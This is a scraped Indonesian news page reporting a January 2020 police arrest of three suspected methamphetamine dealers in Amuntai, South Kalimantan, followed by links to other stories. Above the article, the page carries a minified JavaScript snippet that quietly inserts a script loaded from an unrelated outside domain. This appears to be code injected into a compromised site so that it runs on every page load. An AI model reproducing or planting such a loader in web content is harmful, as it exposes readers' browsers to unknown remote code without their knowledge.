(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, AMUNTAI – Baru sehari menjabat sebagai Kepala Satuan (Kasat) Resnarkoba Polres Hulu Sungai Utara (HSU) Iptu Siswadi berhasil meringkus tiga pelaku yang diduga sebagai pengedar sekaligus pemakai sabu di wilayah hukumnya. Mereka adalah RR (26), AB (33), dan MU (27), yang ditangkap berdasar informasi masyarakat. Salah satu pelaku, yakni RR masih berstatus mahasiswa.
Kapolres HSU AKBP Ahmad Arif Sopiyan melalui Kasat Resnarkoba Iptu Siswadi, kepada Kanalkalimantan.com, Rabu (22/1/2020) membenarkan penangkapan terhadap ketiga pelaku sabu tersebut.
Pelaku RR yang berstatus mahasiswa ini diringkus di rumahnya di jalan Khuripan RT 001, Kelurahan Murung Sari, Kecamatan Amuntai Tengah, Selasa (21/1/2020) sekitar pukul 15.30 Wita. Saat diamankan, pelaku tak berkutik ketika polisi menemukan 2 paket narkotika jenis sabu dengan berat 0.43 gram.
Usai meringkus RR dan mengorek keterangan dari yang bersangkutan, polisi berhasil meringkus AB di pinggir Jalan Khuripan RT 0O1 Kel. Murung Sari, Kecamatan Amuntai Tengah pukul 15.45 Wita. Dari tersangka AB polisi mendapatkan 1 paket Sabu dengan berat kotor 0.27 gram dengan berat bersih 0.12 gram.
Disusul diringkusnya pelaku MU, di dalam rumahnya sendiri di Jalan Gerilya II RT 03 Desa Palampitan Hulu Kecamatan Amuntai Tengah, sekitar pukul 16.00 Wita. Alhasil didapatkan 3 paket sabu dengan berat kotor 0.67 gram berat bersih 0.22 Gram, ditambah barang bukti yang lainnya termasuk sebuah timbangan digital merk Constant dan uang tunai sebesar Rp 1juta.
Akhirnya ketiga pelaku bersama barang bukti digelandang ke Mapolres HSU guna menjalani proses lebih lanjut. Mereka disangkakan Undang-Undang RI no.35 tahun 2009 tentang Narkotika.
Menurut Kasatreskoba Iptu Siswadi ketiga pelaku yang memiliki keterkaitan ini masih dalam proses penyelidikan. Terutama terkait asal-usul baharang haram tersebut didapat oleh ketiganya. “Asal barang masih dalam penyelidikan, mereka merupakan pengedar sekaligus pemakai,” ujar Iptu Siswadi.
Proses pengungkapan ini merupakan salah satu program inovasi Polres yaitu HSU Bersinar (Hebat Sigap untuk Bersih dari Narkoba). (kanalkalimantan.com/dew)
KANALKALIMANTAN.COM, BANJARMASIN – Dinas Perpustakaan dan Kearsipan (Dispersip) Provinsi Kalimantan Selatan (Kalsel) bersama Lembaga Pemasyarakatan… Read More
KANALKALIMANTAN.COM, JAKARTA - Setelah hampir sebulan mejabat Plt (Pelaksana tugas) Gubernur Kalimantan Selatan (Kalsel), H… Read More
KANALKALIMANTAN.COM, BANJARBARU - Dinas Perhubungan (Dishub) Provinsi Kalimantan Selatan (Kalsel) memasang titik Alat Pemberi Isyarat… Read More
KANALKALIMANTAN.COM, PARINGIN - Antisipasi dan kesiapsiagaan menghadapi bencana banjir, puting beliung dan tanah longsor (Batingsor),… Read More
KANALKALIMANTAN.COM, JAKARTA - Menjelang perayaan hari besar Natal 2024 dan pergantian tahun ke 2025, PT… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob melanda sejumlah wilayah di Kota Banjarmasin, Provinsi Kalimantan Selatan (Kalsel).… Read More
This website uses cookies.